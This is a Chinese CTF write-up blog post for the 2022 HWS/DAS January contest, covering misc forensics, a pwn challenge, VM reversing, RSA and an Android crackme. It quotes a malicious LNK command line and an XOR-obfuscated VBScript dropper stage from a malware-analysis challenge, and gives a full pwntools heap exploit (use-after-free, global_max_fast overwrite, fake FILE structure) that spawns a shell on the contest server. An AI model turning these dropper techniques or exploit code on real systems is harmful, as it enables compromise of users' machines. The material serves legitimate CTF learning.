wp | 2022HWS&DAS JAN

2022HWS&DAS JAN

被lemon狮虎拉上来玩的比赛,摸了摸了。
每个项目大概玩了玩,主要是三个逆向,2个在re分类里,1个在密码分类里(啊我觉得它应该是逆向题)。
image

MISC

题目1:badPDF:

这道题目是2020华为HWS选拔赛的原题。

  1. 步骤一
    直接查看lnk文件指向的目标:
    %SystemRoot%\system32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\g4ZokyumBB2gDn.tmp /y&for /r C:\Windows\System32\ %i in (ertu.exe) do copy %i %tmp%\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\g4ZokyumBB2gDn.tmp>%tmp%\cSi1r0uywDNvDu.
  2. 步骤二
    发现它expand释放了3个文件
    Microsoft (R) 文件扩展实用程序
    版权所有 (c) Microsoft Corporation。保留所有权利。

正在将 ./\9sOXN6Ltf0afe7.js 添加到提取队列
正在将 ./\20200308-sitrep-48-covid-19.pdf 添加到提取队列
正在将 ./\cSi1r0uywDNvDu.tmp 添加到提取队列

正在展开文件 ....

完成展开文件 ...
总共 3 个文件。
发现关键代码:

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="VBScript">
 <![CDATA[
 rBOH7OLTCVxzkH = HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):
 execute(rBOH7OLTCVxzkH):
	function HrtvBsRh3gNUbe(bhhz6HalbOkrki):
		for rBOH7OLTCVxzkH= 1 to len(bhhz6HalbOkrki) step 2:
			HrtvBsRh3gNUbe = HrtvBsRh3gNUbe & chr(asc(chr("&h" & mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):
			next:
	end function:
 ]]> </ms:script>
</stylesheet>

实际上就是做了按位异或1的操作,直接用python反推就好了:
image

获取flag截图
image

题目3:gogogo:

取证+拼图
步骤:
先拼图,直接按时间排序得到password:
image

3e8f092d4d7b80ce338d6e238efb01
然后使用vol对2.raw进行提取,提取出csgo.zip.zip
image

可以成功解压,但是文件打不开,用hex编辑器去除一个重复的文件头就可以打开了:
image

发现是Aztec码,增加定位点以后使用在线工具解码得到flag:
image

PWN

题目1:送分题:

查保护
image

主程序非常清晰:
image

漏洞点在于当重新编辑Name的时候,会先把堆块进行释放,然后再编辑,导致存在UAF漏洞。
利用步骤:
1、利用UAF来进行Unsortbin Attack,修改Global_max_fast的值为main_arena+96,那么程序最后会释放掉堆块,此时很大的堆块都被放到fastbin链表中,每个fastbin链表的头结点会在libc空间存有一个指针,如图所示
2、利用步骤一来劫持_IO_list_all指针,伪造一个File的结构体,利用 _IO_str_finish来Getshell.
参考文章:https://wiki.mrskye.cn/Pwn/IO_FILE/Pwn_IO_FILE/ https://zhuanlan.zhihu.com/p/433362798
Exp:

from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './songfen'
libc_name = './libc-2.27.so'
ip = '1.13.162.249'
prot = '10001'

file = ELF(file_name)

if debug:
    r = process(file_name)
    libc = ELF(libc_name)
else:
    r = remote(ip,int(prot))
    libc = ELF(libc_name)

def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
    file_struct = p32(_flags) + \
             p32(0) + \
             p64(_IO_read_ptr) + \
             p64(_IO_read_end) + \
             p64(_IO_read_base) + \
             p64(_IO_write_base) + \
             p64(_IO_write_ptr) + \
             p64(_IO_write_end) + \
             p64(_IO_buf_base) + \
             p64(_IO_buf_end) + \
             p64(_IO_save_base) + \
             p64(_IO_backup_base) + \
             p64(_IO_save_end) + \
             p64(_IO_marker) + \
             p64(_IO_chain) + \
             p32(_fileno)
    file_struct = file_struct.ljust(0x88, b"\x00")
    file_struct += p64(_lock)
    file_struct = file_struct.ljust(0xa0, b"\x00")
    file_struct += p64(_wide_data)
    file_struct = file_struct.ljust(0xc0, b'\x00')
    file_struct += p64(_mode)
    file_struct = file_struct.ljust(0xd8, b"\x00")
    return file_struct



r.recvuntil('Now you can get a big box, what size?')
r.sendline(str(0x1430))
r.recvuntil('Now you can get a bigger box, what size?')
r.sendline(str(0x5000))
r.recvuntil('Do you want to rename?(y/n)')
r.sendline('y')
r.recvuntil('Now your name is:')
main_arena = u64(r.recv(6) + b'\x00\x00')
log.info("main_arena"+':'+hex(main_arena))
libc_base = main_arena-0x3ebca0
system = libc_base+libc.symbols['system']
global_max_fast = libc_base+0x3ed940
IO_list_all = libc_base + libc.symbols['_IO_list_all']
IO_str_jumps = 0x3e8360 + libc_base
payload = p64(main_arena)+p64(global_max_fast-0x10)
binsh = 0x00000000001b40fa + libc_base
r.sendline(payload)
r.recvuntil("Do you want to edit big box or bigger box?(1:big/2:bigger)\n")
r.sendline("1")
r.recvuntil(':\n')
fake_file = pack_file(_IO_read_base=IO_list_all-0x10,_IO_write_base=0,_IO_write_ptr=1,_IO_buf_base=binsh,_mode=0,)
fake_file += p64(IO_str_jumps-8)+p64(0)+p64(system)
r.sendline(fake_file[0x10:])
r.interactive()

getflag:
image

REVERSE

题目1:BabyVM:

这道题目是一个vm,执行流程较为清晰。

  1. 步骤一:
    去除花指令,使用idapython
import idc
st = 0x412cc0
ed = 0x413991
ea = st
while ea < ed:
	if Byte(ea)==0x74 and Byte(ea+1)==0x03 and Byte(ea+2)==0x75 and Byte(ea+3)==0x01:
		patch_byte(ea, 0x90)
		patch_byte(ea+1, 0x90)
		patch_byte(ea+2, 0x90)
		patch_byte(ea+3, 0x90)
		patch_byte(ea+4, 0x90)
		ea+=5
	else:
		ea+=1
接下来对虚拟执行的过程进行分析:

image

然后提取出opcode进行整理,脚本如下:

#include<stdio.h>
unsigned char text[] =
{
  0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 
  …………
 0x00, 0x01, 0x00, 
  0x00, 0x00, 0x01, 0x00, 0x00, 0x00
};


int main(){
	unsigned int _text[1500] = {0};  // 1349
	int i;
	for (i = 0; i < 1349; i ++){
		_text[i] = *((unsigned int*)text+i);    // 整理opcode 
	}
	
	printf("#%d: ", 0);
	for (i = 0; i < 1349; i ++){
		printf("%d ", _text[i]);
		if ((i+1) % 6 == 0){
			printf("\n#%x: ", (i+1)/6);
		}
	}
	
	printf("\n\n---------------------------------------------------------\n\n");
	for (i = 666; i < 1349; i ++){
		printf("%d ", _text[i]);
		if ((i+1) % 6 == 0){
			printf("\n#%x: ", (i+1)/6);
		}
	}
	
	return 0;
}

整理完以后对源文件进行patch,然后直接调试去除花指令以后的可执行文件,基本上可以得出指令和基本的功能,主程序会分为3段执行,先初始化,在输出和读取38位的输入,再检查flag格式和中间的内容,分析过程如下:

vm:00412CC0
print and input:
18 0 0 0 0 0
18 0 1 0 1 0
18 0 2 0 2 0
18 0 3 0 3 0
18 0 6 0 6 0
18 0 7 0 7 0
1 0 0 0 105 0
1 0 1 0 110 0
1 0 2 0 112 0
1 0 3 0 117 0
1 0 6 0 116 0
1 0 7 0 32 0               // 整理出input
24 0 0 0 -1 -1
24 0 1 0 -1 -1
24 0 2 0 -1 -1
24 0 3 0 -1 -1
24 0 6 0 -1 -1
24 0 7 0 -1 -1              // 输出input

1 0 0 0 102 0            // 放置字符'f' - 102
1 0 1 0 108 0
1 0 2 0 97 0
1 0 3 0 103 0
1 0 6 0 58 0
1 0 7 0 32 0              // 整理出 flag: 
#18: 24 0 0 0 -1 -1
#19: 24 0 1 0 -1 -1
#1a: 24 0 2 0 -1 -1
#1b: 24 0 3 0 -1 -1
#1c: 24 0 6 0 -1 -1
#1d: 24 0 7 0 -1 -1            // 输出flag:  
          
#1e: 18 0 1 0 1 0                                  // 清空index1     xor

#1f: 23 0 0 0 -1 -1            // 输入
#20: 5 0 0 0 -1 -1             // 可能是转移输入的
#21: 7 0 1 0 1 0                  // 计算输入长度
#22: 26 0 1 0 38 0                // 可能是判断长度38 推测flag{(32位)}
#23: 30 0 31 0 -1 -1             // 跳转回#1f               - 循环读取输入


#24: 25 0 -1 -1 -1 -1              //exit   -- jmp#70



start:                                      // 这里是最开始的执行点
#25: 18 0 2 0 2 0
#26: 0 0 2 0 255 0
7 0 2 0 1 0                   // 从这里开始32次操作
0 0 2 0 547 0
7 0 2 0 1 0                    // i++
0 0 2 0 571 0
7 0 2 0 1 0
0 0 2 0 567 0
7 0 2 0 1 0
0 0 2 0 567 0
7 0 2 0 1 0
0 0 2 0 587 0
7 0 2 0 1 0
0 0 2 0 555 0
7 0 2 0 1 0
0 0 2 0 251 0
7 0 2 0 1 0
0 0 2 0 555 0
7 0 2 0 1 0
0 0 2 0 547 0
7 0 2 0 1 0
0 0 2 0 591 0
7 0 2 0 1 0
0 0 2 0 239 0
7 0 2 0 1 0
0 0 2 0 567 0
7 0 2 0 1 0
0 0 2 0 239 0
7 0 2 0 1 0
0 0 2 0 591 0
7 0 2 0 1 0
0 0 2 0 591 0
7 0 2 0 1 0
0 0 2 0 547 0
7 0 2 0 1 0
0 0 2 0 547 0
7 0 2 0 1 0
0 0 2 0 571 0
7 0 2 0 1 0
0 0 2 0 567 0
7 0 2 0 1 0
0 0 2 0 255 0
7 0 2 0 1 0
0 0 2 0 563 0
7 0 2 0 1 0
0 0 2 0 563 0
7 0 2 0 1 0
0 0 2 0 563 0
7 0 2 0 1 0
0 0 2 0 567 0
7 0 2 0 1 0
0 0 2 0 587 0
7 0 2 0 1 0
0 0 2 0 563 0
7 0 2 0 1 0
0 0 2 0 591 0
7 0 2 0 1 0
0 0 2 0 555 0
7 0 2 0 1 0
0 0 2 0 555 0
7 0 2 0 1 0
0 0 2 0 587 0
7 0 2 0 1 0
0 0 2 0 239 0
7 0 2 0 1 0
25 0 -1 -1 -1 -1                // 赋值完毕 退出
==================================================
convert:

18 0 2 0 2 0
3 0 0 0 2 0
9 0 0 0 99 0
4 0 2 0 0 0
7 0 2 0 1 0
26 0 2 0 32 0        // 32次loop
30 0 1 0 -1 -1
25 0 -1 -1 -1 -1                       // 对数据进行处理


============================================
6 0 0 0 -1 -1
#70: 26 0 0 0 125 0           // }                  // 检查最后一位是不是}
28 0 18 0 -1 -1          // je #12

1 0 0 0 119 0
1 0 1 0 114 0
1 0 2 0 111 0
1 0 3 0 110 0
1 0 6 0 103 0
1 0 7 0 33 0
24 0 0 0 -1 -1
24 0 1 0 -1 -1
24 0 2 0 -1 -1
24 0 3 0 -1 -1
24 0 6 0 -1 -1
24 0 7 0 -1 -1              // wrong!

1 0 0 0 10 0
24 0 0 0 -1 -1            // \n

25 0 -1 -1 -1 -1

1 0 8 0 256 0
26 0 8 0 225 0
30 0 25 0 -1 -1            // jng #19

6 0 0 0 -1 -1
4 0 8 0 0 0
9 0 8 0 1 0
29 0 19 0 -1 -1             // jmp  # 13

6 0 0 0 -1 -1
26 0 0 0 123 0             //      检查 {
31 0 3 0 -1 -1               // jz

6 0 0 0 -1 -1
26 0 0 0 103 0             //'g'
31 0 3 0 -1 -1                // jz

6 0 0 0 -1 -1
26 0 0 0 97 0             // 'a'
31 0 3 0 -1 -1

6 0 0 0 -1 -1
26 0 0 0 108 0            // 'l'
31 0 3 0 -1 -1

6 0 0 0 -1 -1
26 0 0 0 102 0              // 'f'
31 0 3 0 -1 -1

18 0 9 0 9 0

1 0 10 0 225 0            // 赋值
3 0 7 0 9 0             // 取对比数据
3 0 6 0 10 0            // 取对比数据
17 0 6 0 66 0       // input[0] xor 66
13 0 6 0 2 0          // <<2    等价于*4
27 0 6 0 7 0              // 判断是否相等
31 0 3 0 -1 -1               // 这里感觉应该是正经检查内容

7 0 9 0 1 0
7 0 10 0 1 0
26 0 9 0 32 0
30 0 42 0 -1 -1                // jng #2a

1 0 0 0 99 0
1 0 1 0 111 0
1 0 2 0 114 0
1 0 3 0 114 0
1 0 6 0 101 0
1 0 7 0 99 0
24 0 0 0 -1 -1
24 0 1 0 -1 -1
24 0 2 0 -1 -1
24 0 3 0 -1 -1
24 0 6 0 -1 -1
24 0 7 0 -1 -1              //'correc'
1 0 0 0 116 0
1 0 1 0 108 0
1 0 2 0 121 0
1 0 3 0 33 0
1 0 6 0 10 0
24 0 0 0 -1 -1
24 0 1 0 -1 -1
24 0 2 0 -1 -1
24 0 3 0 -1 -1
24 0 6 0 -1 -1                  //'tly!'
25 0 -1 -1 -1 -1

最后分析出来执行过程如下:
(Input[i] xor 66) * 4 == aim[i]
所以input[i] = aim[i] // 4 xor 66
调试的时候提取出最终对比的数据:
00E30040 9C 00 00 00 00 00 00 00 C0 01 00 00 00 00 00 00 ?......?......
00E30050 D8 01 00 00 00 00 00 00 D4 01 00 00 00 00 00 00 ?......?......
00E30060 D4 01 00 00 00 00 00 00 E8 01 00 00 00 00 00 00 ?......?......
00E30070 C8 01 00 00 00 00 00 00 98 00 00 00 00 00 00 00 ?......?......

00E30080 C8 01 00 00 00 00 00 00 C0 01 00 00 00 00 00 00 ?......?......
00E30090 EC 01 00 00 00 00 00 00 8C 00 00 00 00 00 00 00 ?......?......
00E300A0 D4 01 00 00 00 00 00 00 8C 00 00 00 00 00 00 00 ?......?......
00E300B0 EC 01 00 00 00 00 00 00 EC 01 00 00 00 00 00 00 ?......?......

00E300C0 C0 01 00 00 00 00 00 00 C0 01 00 00 00 00 00 00 ?......?......
00E300D0 D8 01 00 00 00 00 00 00 D4 01 00 00 00 00 00 00 ?......?......
00E300E0 9C 00 00 00 00 00 00 00 D0 01 00 00 00 00 00 00 ?......?......
00E300F0 D0 01 00 00 00 00 00 00 D0 01 00 00 00 00 00 00 ?......?......

00E30100 D4 01 00 00 00 00 00 00 E8 01 00 00 00 00 00 00 ?......?......
00E30110 D0 01 00 00 00 00 00 00 EC 01 00 00 00 00 00 00 ?......?......
00E30120 C8 01 00 00 00 00 00 00 C8 01 00 00 00 00 00 00 ?......?......
00E30130 E8 01 00 00 00 00 00 00 8C 00 00 00 00 00 00 00 ?......?......
[0x9c,0x1c0,0x1d8,0x1d4,
0x1d4,0x1e8,0x1c8,0x98,
0x1c8,0x1c0,0x1ec,0x8c,
0x1d4,0x8c,0x1ec,0x1ec,
0x1c0,0x1c0,0x1d8,0x1d4,
0x9c,0x1d0,0x1d0,0x1d0,
0x1d4,0x1e8,0x1d0,0x1ec,
0x1c8,0x1c8,0x1e8,0x8c]
image

Flag{e247780d029a7a992247e6667869008a}

题目2:EasyVM:

这道题跟上面一样是vm,不过简单一点,也没有那么多花指令。
解题步骤:
image

这个vm估计是写了一个class,函数表的位置直接可以定位到,然后读取输入和执行的 地方也比较容易看出来,在fakebase64中每一位分别xor了0xa,0xb,0xc,0xd,放在最后还原就可以了。
image

只要重点关注对输入的操作就可以了,第一个函数就是虚拟执行的部分。
image

简单的分析过后就可以直接调试了。
image

在取opcode的地方下断点,然后在上上上张图中取数的操作中下断点,可以看到它每次是将输入的东西一位一位移动到this+2的位置上再进行一些操作,对this+2的位置下内存访问断点:
image

可以跟踪出具体的流程:
流程:
取输入的东西到[2]
xor[3]并移动到[3]
取EE到[2]
xor[3]并移动到[3]
验证
input[i]aim[i-1]0xee=aim[i]
input[i] = aim[i]0xeeaim[i-1]
所以每一位都是连续相关的,提取出最后的那个对比的部分:
image

编写脚本还原即可:
image

aim = [0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 
0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 
0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 
0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 
0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 
0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 
0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3, 0x00]

_flag = []
for i in range(len(aim)-1):
	_flag.append(aim[i]^0xee^aim[i-1])

print(_flag)
# print(len(_flag),len(aim))

for i in range(0, len(_flag)-1, 4):
	_flag[i] = _flag[i]^0xa
	_flag[i+1] = _flag[i+1]^0xb
	_flag[i+2] = _flag[i+2]^0xc
	_flag[i+3] = _flag[i+3]^0xd

for i in _flag:
	print(chr(i),end='')

最后再解base64就可以了。
image

flag{2586dc76-98d5-44e2-ad58-d06e6559d82a}

CRYPTO

题目1:babyrsa:

题目给的N可以直接分解出p和q:
image

然后根据p,q,e计算d并解出明文:
image

import gmpy2
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
e = 2199344405076718723439776106818391416986774637417452818162477025957976213477191723664184407417234793814926418366905751689789699138123658292718951547073938244835923378103264574262319868072792187129755570696127796856136279813658923777933069924139862221947627969330450735758091555899551587605175567882253565613163972396640663959048311077691045791516671857020379334217141651855658795614761069687029140601439597978203375244243343052687488606544856116827681065414187957956049947143017305483200122033343857370223678236469887421261592930549136708160041001438350227594265714800753072939126464647703962260358930477570798420877
d = gmpy2.invert(e,(p-1)*(q-1))  # gmpy2.invert(e,φ(N))
print(d)
N = p*q
c = 1492164290534197296766878830710549288168716657792979479408332026408553210558539364503279432780006256047888761718878241924947937039103166564146378209168719163067531460700424309878383312837345239570897122826051628153030129647363574035072755426112229160684859510640271933580581310029921376842631120847546030843821787623965614564745724229763999106839802052036834811357341644073138100679508864747009014415530176077648226083725813290110828240582884113726976794751006967153951269748482024859714451264220728184903144004573228365893961477199925864862018084224563883101101842275596219857205470076943493098825250412323522013524
print(pow(c,d,N))

result: 73358773651424897743944056106548202261075477721417992498861765573582087801960732601862778348189621203820703393958329215404058952130344307891818721974239491062466090539708313506265450891835557762707471433442189955809731728025144732654599245515720346423528093783755219533095697004480866822694256749445957788813
getflag:
image

hwctf{01d_Curs3_c4Me_Again}

题目2:Accelerate your time:

Apk逆向,所有内容都在Dalvik层,很easy。
用apkide解包反编译,找到关键点:
image

在用户名和密码都正确的情况下会进入到这一块儿。
用户名密码的校验在下面这里:
image

一开始我是hook去分析的用户名和密码,后来发现可以包里面直接定位到trandmark和密码校验的结果:
image

写个脚本解密码:

username='Android'
aim = [6,28,1,19,27,5,29]
for i in range(7):
	print(chr(ord(username[i])^aim[i]),end='')

password=Greatly
非常舒适。
然后就是怼那个md5校验,取了8到23位包括23位,我写了个java脚本爆破,flag的组成是md5(flag{md5(time)}AndroidGreatly) == code == 1a9852e856816224
一开始少看了一次md5咋跑都出不来。
脚本如下:

import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class TTT{
    public static void main(String[] args) throws Exception {
        //获取获取系统的当前日历对象
        Calendar instance = Calendar.getInstance();

        int hour = instance.get(11);

        int minute = instance.get(12);

        int second = instance.get(13);
        String str = ""+hour+minute+second;
        System.out.println("str: "+str);
        String tmp = "flag{"+str+"}"+"Android"+"Greatly";
        System.out.println("tmp: "+tmp);
        System.out.println("encodeMD5: "+encodeMD5(tmp));
        // 爆破
        String aim = "1a9852e856816224";
        int ok = 0;
        for (int i = 0; i <= 24; i ++){
            for (int j = 0; j <= 60; j ++){
                for (int k = 0; k <= 60; k ++){
                    str = ""+i+j+k;
                    tmp = "flag{"+encodeMD5(str)+"}"+"Android"+"Greatly";
                    System.out.print("tmp: "+tmp);
                    String md555 = encodeMD5(tmp);
                    System.out.println(" - encodeMD5: "+md555);
                    if (md555.indexOf(aim) != -1){
                        System.out.println("-------------okk----------------");
                        ok = 1;
                        break;
                    }
                }
                if (ok == 1){
                    break;
                }
            }
            if (ok == 1){
                break;
            }
        }


    } 

    public static final String encodeMD5(String paramString) {
        try {
          MessageDigest messageDigest = MessageDigest.getInstance("MD5");
          byte[] arrayOfByte1 = paramString.getBytes();
          byte[] arrayOfByte2 = messageDigest.digest(arrayOfByte1);
          StringBuffer stringBuffer = new StringBuffer();
          int i = arrayOfByte2.length;
          for (byte b = 0; b < i; b++) {
            String str2 = Integer.toHexString(arrayOfByte2[b] & 0xFF);
            String str1 = str2;
            if (str2.length() < 2) {
              StringBuilder stringBuilder = new StringBuilder();
              stringBuilder.append("0");
              stringBuilder.append(str2);
              str1 = stringBuilder.toString();
            } 
            stringBuffer.append(str1);
          } 
          String str = stringBuffer.toString();
          return str.substring(8,24);
        } catch (NoSuchAlgorithmException noSuchAlgorithmException) {
          noSuchAlgorithmException.printStackTrace();
          return "";
        } 
      }
}

Getflag:
image

over.

posted @ 2022-01-25 16:39  Mz1  阅读(533)  评论(0编辑  收藏  举报